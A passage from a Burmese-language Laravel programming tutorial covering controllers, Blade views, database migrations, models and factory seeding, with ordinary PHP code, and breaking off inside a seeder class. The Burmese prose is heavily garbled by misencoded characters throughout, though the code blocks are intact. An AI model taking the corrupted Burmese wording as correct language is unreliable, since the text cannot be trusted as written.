Request  ဆိုတာ URL ကကြေနတစ်ဆင့်လာမှာ goစ်လုိ့  Controller  ဟာ Route  နဲ့ တွဲပြပီး အလုပ်လုပ်oုိလုိ့ပါ
တယ်။  URL  လမ်းကြေeကာင်းက  Route  မှာ သတ်မှတ်ထားတာမုိလုိ့့ပါ။ ဒီသကြေyာသyာဝ ကို  စမ်းသပ်နိုင်oုိ့
အတွက် ArticleController.php ထဲက ကုဒ်ကို အခုလုိ goည့်စွက်လုိက်ပါ။
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 PHP 

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class ArticleController extends Controller
{
    public function index()
    {
        return "Controller - Article List";
    }
    public function detail($id)
    {
        return "Controller - Article Detail - $id";
    }
}

index() နဲ့  detail() ဆိုပြပီး  Method နှစ်ခု ကြေရးကြေပးလုိက်တာပါ။  ပြပီးတဲ့အခါ  routes/web.php
မှာအခုလုိ ArticleController Class ကို Import လုပ်ကြေပးပါ။

 PHP 

use App\Http\Controllers\ArticleController;

ပြပီးတဲ့အခါ ကြေစာကြေစာကကြေရးထားတဲ့ Route ကြေတွကို အခုလုိ gပင်ကြေပးရပါမယ်။

 PHP 

Route::get('/articles', [ArticleController::class, 'index']);

Route::get('/articles/detail/{id}', [
ArticleController::class,
'detail'

]);

ပြပီးခဲ့တဲ့အခန်းမှာ  Route  ကြေတွသတ်မှတ်တဲ့အခါ ကြေရှ့ က  URL  လိပ်စာကြေပးပြပီး  ကြေနာက်က အလုပ်လုပ်ရမယ့်
Function ကိုကြေရးကြေပးခဲ့တာပါ။ အခုကြေတာ့ ကြေgပာင်းသွားပါပြပီ။ ကြေရှ့ က URL လိပ်စာgoစ်ပြပီး ကြေနာက်က အလုပ်
လုပ်ရမယ့်  Controller  Class  နဲ့ Method  ပါဝင်တဲ့  Array  တစ်ခု  goစ်သွားပါပြပီ။  ဒီနည်းနဲ့  Route  နဲ့
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Controller  ကို ချတိ်ဆက်ကြေပးနိုင်ပါတယ်။  လက်ရှိ  routes/web.php ရဲ့ ကုဒ်အgပည့်အစံုက ဒီလုိgoစ်
သင့်ပါတယ်။

 PHP 

<?php

use Illuminate\Support\Facades\Route;
use App\Http\Controllers\ArticleController;

Route::get('/', [ArticleController::class, 'index']);

Route::get('/articles', [ArticleController::class, 'index']);

Route::get('/articles/detail/{id}', [
ArticleController::class,
'detail'

]);

စမ်းထားတဲ့  ကုဒ်ကြေတွနဲ့  Comment  ကြေတွကို  oယ်ထုတ်လုိက်တာပါ။ စုစုကြေပါင်း  Route (၃)  ခုပဲ ရှိပါတယ်။
yာမှမပါတဲ့  URL  အလွတ်ဆိုရင်လည်း  ArticleController ရဲ့  index() Method  ကိုပဲ အလုပ်
လုပ်oုိ့  ညွှန်းကြေပးထားတာကို  သတိgပုပါ။  နင်္ဂိုပါလာတဲ့ကုဒ်က  Welcome  View  ကိုgပတဲ့ကုဒ်goစ်ပြပီး  အခု
ကြေတာ့ အ့ဲဒီ Welcome View ကို မလုိချင်လုိ့ oယ်လုိက်တာပါ။ လက်ကြေတွ့စမ်းeကည့်ပါ။ URL လိပ်စာတစ်ခု
ထည့်သွင်းကြေပးလုိက်ရင်  ညွှန်းဆိုထားတဲ့  Controller  Method  အလုပ်လုပ်သွားတယ်ဆိုတာကို  ကြေတွ့ရမှာ
goစ်ပါတယ်။

Controller  မှာလည်း  Single Action Controller  တို့  Resource Controller  တိုလုိ့ လုပ်ကြေဆာင်ချက်ကြေတွ
ကျန်ပါကြေသးတယ်။ အခုထည့်eကည့်စရာ မလုိကြေသးပါyူး။ ထည့်eကည့်သင့်တဲ့ တစ်ချက်ကကြေတာ့ Controller
ကြေတွများလာရင် /app/Http/Controllers ထဲမှာ oုိင်ကြေတွ ပွထမကြေနကြေအာင် oုိဒါကြေလးကြေတွခွဲပြပီး ထား
နည်းgoစ်ပါတယ်။  ဥပမာ  -  Article oုိဒါကြေအာက်မှာ  ArticleController,  Comment

Controller, CategoryController တိုက့ို  ထားပြပီး  Product oုိဒါကြေအာက်မှာ  Product
Controller,  ReviewController,  CategoryController စသgoင့်  သက်ဆိုင်ရာ
Controller  ကြေတွကို  အုပ်စုခွဲပြပီး  oုိဒါကြေလးကြေတွ  ခွဲထားတဲ့  သကြေyာမျ ို းပါ။  ဒီအတွက်လည်း  လွယ်ပါတယ်။
Controller oုိင်တည်ကြေဆာက်စဉ်မှာ အခုလုိ ကြေဆာက်ကြေပးလုိက်ယုံပါပဲ။
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php artisan make:controller Product/ProductController

ဒီလုိဆိုရင်  Laravel  က  ProductController.php oုိင်ကို  /app/Http/Controllsers/
Product ကြေအာက်မှာ  တည်ကြေဆာက်ကြေပးသွားမှာ  goစ်ပါတယ်။  ဒီ  Controller  ထဲက  Method  ကြေတွကို
Route နဲခ့ျတိ်လုိရင်ကြေတာ့ အခုလုိ ချတိ်ကြေပးရမှာပါ။

 PHP 

use App\Http\Controllers\Product\ProductController;

Route::get('/products', [ProductController::class, 'index']);

Controller Namespace ကို မှန်ကြေအာင် Import လုပ်ကြေပးလုိက်ယုံပါပဲ။ ဒီနည်းနဲ့  Controller ကြေတွကို သူ့oုိ
ဒါနဲသူ့ Organize လုပ်ထားလုိ ့ရပါတယ်။
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အခန်း (၄၅) – Laravel View

လက်ရှိ  Route  နဲ့  Controller  အတွက်  ကြေရးစမ်းတဲ့ကုဒ်ကြေတွမှာ  URL  လိပ်စာတစ်ခုကို  လက်ခံရရှိရင်
စာကြေeကာင်း တစ်ကြေeကာင်းကို  Response  အကြေနနဲ့  gပန်ကြေပးoုိ့  ကြေရးခဲ့တာပါ။ ဒီအခန်းမှာကြေတာ့  Response  ကို
အ့ဲဒီလုိ စာတစ်ကြေeကာင်းအကြေနနဲ့ မဟုတ်ကြေတာ့yဲ HTML Template အကြေနနဲ့ gပန်ကြေပးပုံ ကြေပးနည်းကို ကြေလ့လာ
eကမှာgoစ်ပါတယ်။  ဒီအတွက်  View  ကို  အသုံးgပုနိုင်ပါတယ်။  Laravel  မှာ  View  Template  ကြေတွကို
/resources/views oုိဒါထဲမှာ ကြေရးကြေပးရပါတယ်။ View Template ကုဒ်oုိင်ကြေတွ တည်ကြေဆာက်ကြေပးတဲ့
Code Generator ကြေတာ့ Laravel မှာ တစ်ခါထဲ မပါပါyူး။ Third-party Package အကြေနနဲ့ ထပ်ထည့်လုိရ့
ကြေပမယ့်  မထည့်ကြေတာ့ပါyူး။  ကိုယ်yာသာပဲ  oုိင်ကိုတည်ကြေဆာက်ပါမယ်။  ဒါကြေeကာင့်
/resources/views oုိဒါကြေအာက်မှာ  /articles ဆိုတဲ့  အမည်နဲ့  oုိဒါတစ်ခု  ထပ်ကြေဆာက်ပါ။
ကိုယ်တိုင် ကြေရးသားမယ့် View Template ကြေတွကို အ့ဲဒီ /articles oုိဒါထဲမှာသိမ်းသွားမှာပါ။

�ှတ်ချက် - oုိင်ကြေတွ oုိဒါကြေတွကို s, es နဲ့ အဆံုးသတ်ပြပီး Plural Case နဲ့ အမည်ကြေပးတဲ့ oုိင်ကြေတွ oုိဒါကြေတွ
ရှိပါတယ်။  သတိထားပါ။  အကြေeကာင်းမဲ့  မဟုတ်ပါyူး။  ကြေပးသင့်လုိ့  ကြေပးခဲ့တာပါ။  Convention  Over
Configuration ကြေeကာင့် ကြေပးတာရှိသလုိ၊ Coding Standard ကြေခါ် အများစံထားပြပီး ကြေပးကြေလ့ရှိတဲ့ နည်းမုိ့လုိ့
ကြေပးတာကြေတွလည်း ရှိပါတယ်။  တစ်ခုမကျန်  လုိက်ရှင်းgပကြေနရင်  ပုိရှုပ်ပြပီး  ကြေပရှည်ကြေနမှာစိုးလုိ့  အကုန်မရှင်း
ကြေတာ့တာပါ။ ကြေကျးဇူးgပုပြပီး အ့ဲဒီ s, es ကြေလးကြေတွကို သတိထားပြပီး နမူနာမှာ ကြေပးတဲ့အတိုင်းပဲ ကြကိုးစားပြပီး
လုိက်ကြေပးoုိ့ သတိထားကြေပးပါ။ Laravel ကြေလ့လာစလူကြေတွ ကုဒ် Error goစ်ကြေနရင် အများအားgoင့် အ့ဲဒီနာမည်
ကြေလးကြေတွ  လဲွကြေနလုိ့  တက်eကတာ ကြေတာ်ကြေတာ်များပါတယ်။  Error    တက်ကြေနရင် အ့ဲဒီ  နာမည်ကြေတွကိုအရင်  
gပန်စစ်eကည့်ပါ။
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/resources/views/articles oုိဒါကြေအာက်မှာ  index.blade.php အမည်နဲ့  oုိင်တစ်ခု
တည်ကြေဆာက်ကြေပးပါ။  oုိင်  Extension  က  blade.php goစ်ရပါမယ်။  Laravel  က  Blade  လုိ့ကြေခါ်တဲ့
Template  နည်းပညာတစ်ခုကို  သံုးထားတဲ့အတွက်ကြေeကာင့်ပါ။  ဒီနည်းပညာအကြေeကာင်းကို  eကားgoတ်
ကြေလ့လာစရာ  မလုိကြေသးပါyူး။  လုိအပ်လာကြေတာ့မှ  ထူးgခားချက်ကြေလးကြေတွ  ကြေရွးမှတ်လုိက်ရင်  ရပါပြပီ။
Symfony Framework ကသုံးတဲ့ Twig Template နည်းပညာတို့ Smarty Template နည်းပညာတို့ ဆိုရင်
မရပါyူး။  သီးgခား  Language  လုိ  goစ်ကြေနလုိ့  အချနိ်ကြေပးပြပီးကြေလ့လာoုိ့  လုိနိုင်ပါတယ်။  Blade  ကကြေတာ့
သပ်သပ် အချနိ်ကြေပးကြေလ့လာကြေနစရာမလုိပါyူး။ အများအားgoင့်  PHP ကြေရးထုံးအတိုင်းပဲ ကြေရးရလုိ့ လွယ်ကူပါ
တယ်။ တည်ကြေဆာက်ထားတဲ့ index.blade.php ထဲမှာ ဒီ HTML ကုဒ်ကို ကြေရးကြေပးပါ။

 HTML/PHP 

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <meta charset="utf-8">
    <title>Article List</title>
</head>
<body>
    <h1>Article List</h1>
    <ul>
        <li>Article One</li>
        <li>Article Two</li>
    </ul>
</body>
</html>

yာမှဆန်းgပားတဲ့ကုဒ်ကြေတွ  မပါဝင်တဲ့  ရုိးရုိး  HTML  ကုဒ်goစ်ပါတယ်။  ပြပီးတဲ့အခါ  Article
Controller  ရဲ့  index() Method  ကို  အခုလုိgပင်ကြေပးပါ  (Controller  oုိင်တည်ကြေနရာကြေတာ့ ထပ်မ
ကြေgပာကြေတာ့ပါyူး၊ မှတ်မိဦးမယ် ထင်ပါတယ်)။

 PHP 

public function index()
{
    return view('articles/index');
}
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ဒီတစ်ခါ index() Method က စာတစ်ကြေeကာင်းကို gပန်မကြေပးကြေတာ့yဲ view() Function ရဲ့ အကူအညီ
နဲ့  articles oုိဒါထဲက  index Template  ကို  Response  အကြေနနဲ့  gပန်ကြေပးလုိက်gခင်း  goစ်ပါတယ်။
ကြေနာက်တစ်နည်းအကြေနနဲ့ အခုလုိ ကြေရးနိုင်ပါတယ်။

 PHP 

public function index()
{
    return view('articles.index');
}

အတတူူပါပဲ။ Template Path ကြေပးတဲ့ကြေနရာမှာ Slash အစား Dot ကို ကြေgပာင်းသုံးလုိက်တာပါ။ Laravel က
ဒီလုိကြေရးတာကို  လက်ခံပါတယ်။  oတ်ရတာ မျက်စိထဲမှာ  ပုိရှင်းတဲ့အတွက်  ဒီလုိ  Dot  နဲ့ကြေရးတာကို  ပုိပြပီး
ကြေတာ့ လူကြကိုက်များပါတယ်။ ခုကြေန စမ်းeကည့်ရင် ရလဒ်က အခုလုိ goစ်မှာပါ။

နမူနာပုံကိုကြေလ့လာeကည့်လုိက်ရင်  URL  လိပ်စာက  /articles goစ်ကြေနတဲ့အခါ  ကျွနက်ြေတာ်တို့ကြေရး
ကြေပးလုိက်တဲ့  index Template  ကို  ကြေတွ့gမင်ရမှာပါ။  URL  /articles ဆိုရင်  Article
Controller@index Method  အလုပ်လုပ်သွားပါတယ်။  Route  မှာ  သတ်မှတ်ထားလုိပ့ါ။
ArticleController ရဲ့ index() Method က view() Function ကိုသုံးပြပီး index Template
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ကို gပန်ကြေပးလုိ့ အခုလုိရလဒ်ကို ရရှိgခင်းပဲ goစ်ပါတယ်။

ဆက်လက်ပြပီး  Controller  ကကြေန  View  ကို  Data  ကြေပးပုံကြေပးနည်း  ကြေလ့လာeကပါမယ်။  Article
Controller ရဲ့ index() Method ကို အခုလုိgပင်ကြေပးပါ။

 PHP 

public function index()
{
    $data = [
        [ "id" => 1, "title" => "First Article" ],
        [ "id" => 2, "title" => "Second Article" ],
    ];

    return view('articles.index', [
        'articles' => $data
    ]);
}

အကြေတွ့အကြကံုအရ  ကြေလ့လာစလူကြေတွ  ဒီနားကြေလးမှာ  အရမ်းမျက်စိလည်eကလုိ့  သတိထားeကည့်ကြေပးပါ။
$data Variable  ဟာ နမူနာ  Array  တစ်ခုgoစ်ပါတယ်။  view() Function  မှာ  Parameter  နှစ်ခုgoစ်
သွားပါပြပီ။ ပထမတစ်ခုက Template  goစ်ပြပီး ဒုတိယတစ်ခုကကြေတာ့ Data goစ်ပါတယ်။  Array Format နဲ့
ကြေပးရပါတယ်။  'articles' => $data လုိ့ ကြေရးထားတဲ့အတွက်  $data ကို  articles အကြေနနဲ့
ကြေပးလုိက်တာပါ။ ဒီလုိကြေပးလုိက်တဲ့အတွက် Template မှာ $articles Variable ကို သုံးလုိရ့သွားပါလိမ့်
မယ်။ 

ကြေနာက်တစ်ကြေခါက်  gပန်ကြေgပာပါဦးမယ်။  ကြေပးလုိက်တာက  $data ကို  ကြေပးလုိက်တာပါ။  အသံုးgပုတဲ့အခါ
$articles လုိ့ အသုံးgပုကြေပးရမှာ goစ်ပါတယ်။ 'articles' => $data လုိ့ ကြေgပာထားတဲ့ အတွက်
ကြေeကာင့်ပါ။

ဆက်လက်ပြပီး /articles/index.blade.php oုိင်ထဲကကုဒ်ကို အခုလုိgပင်ကြေပးပါ။
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 HTML/PHP 

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <meta charset="utf-8">
    <title>Article List</title>
</head>
<body>
    <h1>Article List</h1>
    <ul>
        <?php foreach($articles as $article): ?>
            <li><?php echo $article['title'] ?></li>
        <?php endforeach ?>
    </ul>
</body>
</html>

$articles ကို  PHP  foreach() နဲ့  Loop  ပါတ်ပြပီး  title ကြေတွကို  ရုိက်ထုတ်ကြေoာ်gပထားတာပါ။
အဓိပ္ပါယ်က Controller ကကြေပးလုိက်တဲ့ Data ကို View က အသုံးgပုကြေနတဲ့ သကြေyာပဲ goစ်ပါတယ်။ ဒါကြေလး
ကို ကြေကာင်းကြေကာင်း သကြေyာကြေပါက်oုိ ့အကြေရးကြကီးပါတယ်။

နမူနာမှာကြေရးတဲ့အခါ ရုိးရုိး  PHP ကြေရးထုံးကိုသာ သံုးပါတယ်။ Blade Template  နည်းပညာကို အသံုးgပုပြပီး
gပင်ကြေရးeကည့်ပါမယ်။ ဒီလုိကြေရးရမှာပါ - 

 HTML/Blade/PHP 

<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
    <meta charset="utf-8">
    <title>Article List</title>
</head>
<body>
    <h1>Article List</h1>
    <ul>
        @foreach($articles as $article)
            <li>{{ $article['title'] }}</li>
        @endforeach
    </ul>
</body>
</html>
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Operator  နှစ်ခုပဲ မှတ်ရမှာပါ။  @ နဲ့  {{ }} goစ်ပါတယ်။  @ သကြေက[တကို  ရုိးရုိး  PHP Statement  ကြေတွ
အတွက် သုံးရပြပီး  {{  }} အoွင့်အပိတ်သကြေက[တကို  echo နဲ့  Output  ရုိက်ထုတ်တဲ့  Statement  ကြေတွ
အတွက် သံုးရတယ်လုိ့ အလွယ်မှတ်နိုင်ပါတယ်။ ဒါကြေeကာင့် <?php ?> အoွင့်အပိတ်ကြေတွ echo ကြေတွ မ
လုိအပ်ကြေတာ့ ပါyူး။ ကြေရးရတာရှင်းသွားသလုိ oတ်လုိလ့ည်း ပုိကြေကာင်းသွားပါတယ်။ မှတ်ရတာလည်း မများ
သလုိ XSS Escape  လုိ့ လံုခြခံုကြေရးအတွက် အကြေရးပါတဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကိုလည်း ကိုယ်သိလုိက်စရာမ
လုိyဲ တစ်ခါထဲ ထည့်လုပ်ကြေပးသွားလုိ့ ဒီကြေရးနည်းကိုသာ ဆက်လက် အသံုးgပုသွားသင့်ပါတယ်။ 

ဆက်ကြေgပာမယ်ဆိုရင် Master Template တို့  View Composer တိုအ့ကြေeကာင်း ကြေgပာရမှာပါ။ မကြေgပာကြေသးပါ
yူး။ ဒီအခန်းမှာ ဒီကြေလာက်ပဲ မှတ်ထားပါ။ ကြေနာက်ပုိင်းမှာ Master Template အပါအဝင် UI နဲ့  Template
ပုိင်း လုပ်စရာကြေတွ အများကြကီး ကျန်ပါကြေသးတယ်။
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အခန်း (၄၆) – Laravel Migration and Model

အစီအစဉ်အရ ဆက်eကည့်ရမှာက Model  အကြေeကာင်းgoစ်ပါတယ်။ ဒါကြေပမယ့် Model  အကြေeကာင်းမသွားခင်
Database  နဲ့ပတ်သက်တဲ့  အကြေeကာင်းကို  အရင်သွားရပါမယ်။  ပထမဆံုး  MySQL  Database  တစ်ခု
တည်ကြေဆာက်လုိက်ပါ။ Database အမည်ကို ကြကိုက်သလုိ ကြေပးလုိရ့ပါတယ်။ ပကြေရာင်္ဂျက်အမည်နဲ့ ကိုက်သွား
ကြေအာင် laravel_blog လုိ့ ကြေပးလုိက်ပါမယ်။ phpMyAdmin ကိုပဲ အသံုးgပုပြပီးတည်ကြေဆာက်ရမှာပါ။ ဒါ
မှမဟုတ်  Command  Line  အသုံးgပုတတ်သူကြေတွက  mysql  Command  ကိုအသုံးgပုပြပီး  အခုလုိ
တည်ကြေဆာက်နိုင်ပါတယ်။

mysql -u root

MySQL  Shell  ကို  Username  root နဲ့  ဝင်ကြေရာက်gခင်းgoစ်ပါတယ်။  ဒီလုိ  ဝင်ကြေရာက်နိုင်oုိ့  MySQL
Database Server ကို Run ထားပြပီး goစ်oုိ့ကြေတာ့လုိပါတယ်။ အကယ်၍ ကိုယ့်စက်ထဲက MySQL Database
မှာ Password ရှိရင်ကြေတာ့ ဒီလုိ ဝင်ရမှာပါ။

mysql -u root -p

Password  လာကြေတာင်းတဲ့အခါ ကြေပးလုိက်ရင် ရပါပြပီ။  MySQL Shell  ထဲကို  ကြေရာက်ပြပီဆိုရင် ဒီ  Query  ကို
Run ပြပီး Database တည်ကြေဆာက်နိုင်ပါတယ်။

CREATE DATABASE laravel_blog
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ပြပီးရင်  exit နဲ့  gပန်ထွက်လုိက်လုိ့ ရပါပြပီ။  Database  တည်ကြေဆာက်oုိပဲ့လုိပါတယ်။ Table  တည်ကြေဆာက်
တဲ့ ကိစ္စကြေတ၊ွ Data ထည့်သွင်းတဲ့ ကိစ္စကြေတွကို Laravel ကုဒ် yက်ကကြေန ဆက်လုပ်သွားမှာပါ။

Database Setting
ပြပီးတဲ့အခါ  Database Name, Username, Password  စတဲ့အချက် ကြေတကွို  Laravel  က သိသွားကြေအာင်
သတ်မှတ်ကြေပးရပါဦးမယ်။  ပကြေရာင်္ဂျက်  oုိဒါထဲမှာ  .env အမည်နဲ့  oုိင်တစ်ခုပါဝင်ပါတယ်။  Database
Setting  ကြေတွ အပါအဝင်  Environment Setting  ကြေတွကို  အ့ဲဒီoုိင်ထဲမှာ စုစည်းပြပီး ကြေရးသားထားပါတယ်။
Database နဲ့ ပတ်သက်တာက ဒီအပုိင်းပါ -

 ENV 

… 
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=
… 

အခုလုိ gပင်ကြေပးရမှာ goစ်ပါတယ် -

 ENV 

… 
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel_blog
DB_USERNAME=root
DB_PASSWORD=
… 

DB_DATABASE တစ်ခုပဲ gပင်ကြေပးလုိက်တာပါ။ ကျန်တာကြေတွက မလုိအပ်လုိ့ မgပင်ထားပါyူး။ အကယ်၍
စာoတ်သူရဲ့ စက်မှ Database Password ကြေတွyာကြေတွ သတ်မှတ်ထားရင်ကြေတာ့ ဒီကြေနရာမှာ တစ်ခါထဲ မှန်
ကြေအာင်gပင်ကြေပးရမှာ goစ်ပါတယ်။
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Migration
Laravel  မှာ  Database  Table  ကြေတွကို  စီမံoုိ့အတွက်  Migration  လုိ့ကြေခါ်တဲ့  နည်းပညာပါဝင်ပါတယ်။
Migration ကို Table Structure စီမံတဲ့ နည်းပညာလုိ့ အလွယ်မှတ်နိုင်ပါတယ်။ Migration နဲ့ Model ကုဒ်
oုိင်ကြေတွကို အခုလုိ တည်ကြေဆာက်လုိရ့ပါတယ်။

php artisan make:model Article -m

ဒီ  Command  ရဲ့  အဓိပ္ပါယ်က  Article အမည်နဲ့  Model  oုိင်တစ်ခု  တည်ကြေဆာက်gခင်း  goစ်ပါတယ်။
ထုံးစံအတိုင်း  Class Name  ကို  CapitalCase နဲ့ကြေပးပါတယ်။ ကြေရှ့ကြေနာက်မှ yာမှမတွဲပါyူး။ ဥပမာ  -
ArticleModel, CommentModel စသgoင့် ကြေပးစရာမလုိပါyူး။

အကြေရးကြကီးတာက ဟိုးကြေနာက်ဆံုးက -m ကြေလးgoစ်ပါတယ်။ အ့ဲဒါ Migration oုိင်တစ်ခါထဲ တည်ကြေဆာက်ကြေပး
ကြေစoုိအ့တွက်  ထည့်ကြေပးလုိက်တာပါ။ တစ်ကယ်တန်းက  make:migration နဲ့  make:model ဆိုပြပီး
နှစ်ခါ Run ကြေပးရမှာပါ။ မ Run ချင်လုိ့ တစ်ကြေeကာင်းတည်းနဲ့ အခုလုိ Model ကြေရာ Migration ကိုပါ တွဲ Run
လုိက်တဲ့ သကြေyာပါ။

ဒီ  Command  ကို  Run  လုိက်တဲ့အတွက်  /app/Models/Article.php ဆိုတဲ့  Model  oုိင်နဲ့
/database/migrations/xxx_create_articles_table.php  ဆိုတဲ့  oုိင်နှစ်ခု
တည်ကြေဆာက် ကြေပးသွားမှာ goစ်ပါတယ်။ xxx ကြေနရာမှာ Run တဲ့အချနိ်နဲ့ ရက်စွဲကြေပါ်မူတည်ပြပီး တစ်ကြေယာက်
နဲတ့စ်ကြေယာက် မတူyဲ ကွဲgပားသွာမှာပါ။

eကားgoတ်ပြပီး တစ်ခုကြေgပာချင်ပါတယ်။ Model နဲ့  Migration အမည်ဆင်တူလုိ့ အမှတ်မမှားပါနဲ့။ Migration
ဆိုတာ   Table   ကို စီမံoုိ့goစ်ပြပီး   Model   ဆိုတာ   (Table   ထဲက  ) Data   ကို စီမံoုိ့ goစ်တယ်   လုိ့ အလွယ်မှတ်နိုင်
ပါတယ်။ Data ကြေတွ စီမံoုိအ့တွက် ပံုမှန်အားgoင့် SQL Query ကြေတွကို အသုံးgပုရပါမယ်။ Laravel မှာကြေတာ့
Eloquent  လုိ့ကြေခါ်တဲ့  ORM နည်းပညာ တစ်ခုပါဝင်ပြပီး ဒီနည်းပညာကို ကြေရှ့ဆက်အသုံးgပုသွားမှာပါ။  ORM
ဆိုတာ Object Relational Mapping ရဲ့ အတိုကြေကာက်goစ်ပြပီး လုိရင်းအနှစ်ချုပ်ကကြေတာ့ Database Data
ကြေတွကို    SQL Query    ကြေတွမသုံးyဲ    OOP    ကုဒ်နဲ့  စီမံလုိရ့ကြေအာင် eကားခံကြေဆာင်ရွက်ကြေပးတဲ့  နည်းပညာ   လုိ့
မှတ်နိုင်ပါတယ်။ PHP မှာ Entity, Doctrine, Eloquent စသgoင့် ORM နည်းပညာ အမျ ို းမျ ို းရှိပါတယ်။
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ဆက်လက်ပြပီး  Table တည်ကြေဆာက်oုိအ့တွက် တည်ကြေဆာက်လုိတဲ့  Table ရဲ့ oဲွ့စည်းပံုကို သတ်မှတ်ကြေပးပါ
မယ်။  /database/migrations/xxx_create_articles_table.php oုိင်ကိုoွင့်လုိက်ပါ။
အထဲမှာ အခုလုိကုဒ်ကြေတွ ပါဝင်ပါလိမ့်မယ်။

 PHP 

<?php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class CreateArticlesTable extends Migration
{
    /**
     * Run the migrations.
     *
     * @return void
     */
    public function up()
    {
        Schema::create('articles', function (Blueprint $table) {
            $table->id();
            $table->timestamps();
        });
    }

    /**
     * Reverse the migrations.
     *
     * @return void
     */
    public function down()
    {
        Schema::dropIfExists('articles');
    }
}

up() Method  အတွင်းမှာ  Table  တည်ကြေဆာက်တဲ့ကုဒ်ကို  တစ်ခါထဲ  ကြေရးထားကြေပးပါတယ်။  Table  ရဲ့
အမည်ကို articles လုိ့ ကြေပးထားပါတယ်။ ကြေလာကြေလာဆယ်မှာ id နဲ့ timestamps ဆိုတဲ့ သတ်မှတ်
ချက်နှစ်ခု ပါဝင်ပါတယ်။ ဒါကြေeကာင့်ခုကြေန ဒီကုဒ်ကို  Run ရင် id, created_at, updated_at ဆို
တဲ့  Column (၃)  ခု  ပါဝင်တဲ့  articles Table  ကိုရရှိမှာgoစ်ပါတယ်။  Laravel  မှာ  timestamps
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အတွက် created_at နဲ့ updated_at ကို သုံးလုိပ့ါ။ မ Run ခင် ပါဝင်ကြေစလုိတဲ့ Column ကြေတွ အရင်
ထည့်ကြေပးလုိက်ပါမယ်။ up() Method ကို အခုလုိ gပင်ကြေပးလုိက်ပါ။

 PHP 

public function up()
{
    Schema::create('articles', function (Blueprint $table) {
        $table->id();
        $table->string('title');
        $table->text('body');
        $table->integer('category_id');
        $table->timestamps();
    });
}

title အမည်နဲ ့String Column တစ်ခ၊ု body အမည်နဲ့ Text Column တစ်ခု၊ category_id အမည်
နဲ့ Integer Column တစ်ခ၊ု စုစုကြေပါင်း Column (၃) ခုထပ်တိုးကြေပးလုိက်တာပါ။ ပြပီးရင် ဒီကုဒ်ကို Run  လုိရ့
ပါပြပီ။ ဒီလုိပါ -

php artisan migrate

ဒါဆိုရင်  id,  title,  body,  category_id,  created_at,  updated_at ဆိုတဲ့
Column (၅) ခုပါဝင်တဲ့  articles Table ကို တည်ကြေဆာက်သွားမှာ goစ်ပါတယ်။ သတိgပုရမှာကကြေတာ့
Framework  နဲအ့တူ  တgခား  Migration  oုိင်ကြေတွလည်း  တစ်ခါထဲပါလာပါကြေသးတယ်။
/database/migrations oုိဒါထဲမှာ eကည့်လုိရ့ပါတယ်။ ဒါကြေeကာင့် ကိုယ်တိုင်  Migration oုိင်တစ်ခု
ထည့်လုိက်ကြေပမယ့်  တစ်ကယ်တမ်း  Run  သွားတာ  Migration  oုိင်  (၄-၅)  ခုgoစ်တယ်ဆိုတဲ့  အချက်ကို
သတိgပုပါ။

Database Seeding
Table တည်ကြေဆာက်ပြပီးတဲ့အခါ နမူနာ Data တစ်ချ ို ့ထည်ကြေပးoုိ့ လုိအပ်တတ်ပါတယ်။ Laravel မှာ ဒီလုိ န
မူနာ  Data  ထည့်ကြေပးနိုင်တဲ့  နည်းပညာလည်း  တစ်ခါထဲ  ပါဝင်ပါတယ်။  Database  Seeding  လုိ့ကြေခါ်ပါ
တယ်။ နမူနာ Data ကြေတွထည့်သွင်းoုိ့အတွက်  Model Factory လုိ့ကြေခါ်တဲ့ နမူနာ Data  (Model Object)
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ကြေတွ ထုတ်ကြေပးနိုင်တဲ့ကုဒ်ကို အရင်ကြေရးသင့်ပါတယ်။ ဒီလုိပါ -

php artisan make:factory ArticleFactory

ဒီ  Command  ကို  Run  လုိက်ရင်  ArticleFactory.php အမည်နဲ့  oုိင်တစ်ခု  /databases/
factories ထဲမှာ တည်ကြေဆာက်ကြေပးသွားပါလိမ့်မယ်။ အထဲမှာ အခုလုိ ကုဒ်ကြေတွ ပါဝင်မှာပါ။

 PHP 

<?php

namespace Database\Factories;

use Illuminate\Database\Eloquent\Factories\Factory;

class ArticleFactory extends Factory
{
    /**
     * Define the model's default state.
     * @return array
     */
    public function definition()
    {
        return [
            //
        ];
    }
}

ဒီ  Model  Factory  ကိုအသုံးgပုပြပီး  Model  တစ်ခတုည်ကြေဆာက်ရာမှာ  ပါဝင်ရမယ့်  Property  ကြေတွကို
သတ်မှတ်ပါမယ်။ ဒါကြေeကာင့် definition() Method ကုဒ်ကို အခုလုိgပင်ကြေပးoုိ့ လုိအပ်ပါတယ်။

 PHP 

public function definition()
{
    return [
        'title' => $this->faker->sentence,
        'body' => $this->faker->paragraph,
        'category_id' => rand(1, 5),
    ];
}
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title အတွက်  Sample  စာတစ်ကြေeကာင်း၊  body အတွက်  Sample  စာတစ်ပုိဒ်နဲ့  category_id
အတွက်  1, 5  eကား  Random တန်oုိး တစ်ခုတိုက့ို  ကြေပးလုိက်တာ goစ်ပါတယ်။  faker  ဆိုတာက  name,
phoneNo, email, address စသgoင့် အသုံးဝင်တဲ့ Random Sample ကြေတွ ထုတ်ကြေပးနိုင်တဲ့ နည်း
ပညာတစ်ခုပါ။  Laravel  ကအ့ဲဒီနည်းပညာကို တစ်ခါထဲ ထည့်ကြေပးထားလုိ့ အခုလုိ အသံုးgပုနိုင်တာ goစ်ပါ
တယ်။ လက်ရှိ  sentence နဲ့  paragraph ကို အသုံးgပုထားပါတယ်။ Faker မှာပါတဲ့ လုပ်ကြေဆာင်ချက်
အgပည့်အစံုကို သိချင်ရင် ကြေအာက်ကလိပ်စာမှာ ကြေလ့လာနိုင်ပါတယ်။

- https://github.com/fzaninotto/Faker

ပြပီးတဲ့အခါ /database/seeds oုိဒါထဲက DatabaseSeeder.php ဆိုတဲ့oုိင်ကို oွင့်eကည့်ပါ။ အထဲ
မှာ ဒီလုိကုဒ်ကြေတွ ရှိကြေနတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။

 PHP 

<?php

use Illuminate\Database\Seeder;

class DatabaseSeeder extends Seeder
{
    /**
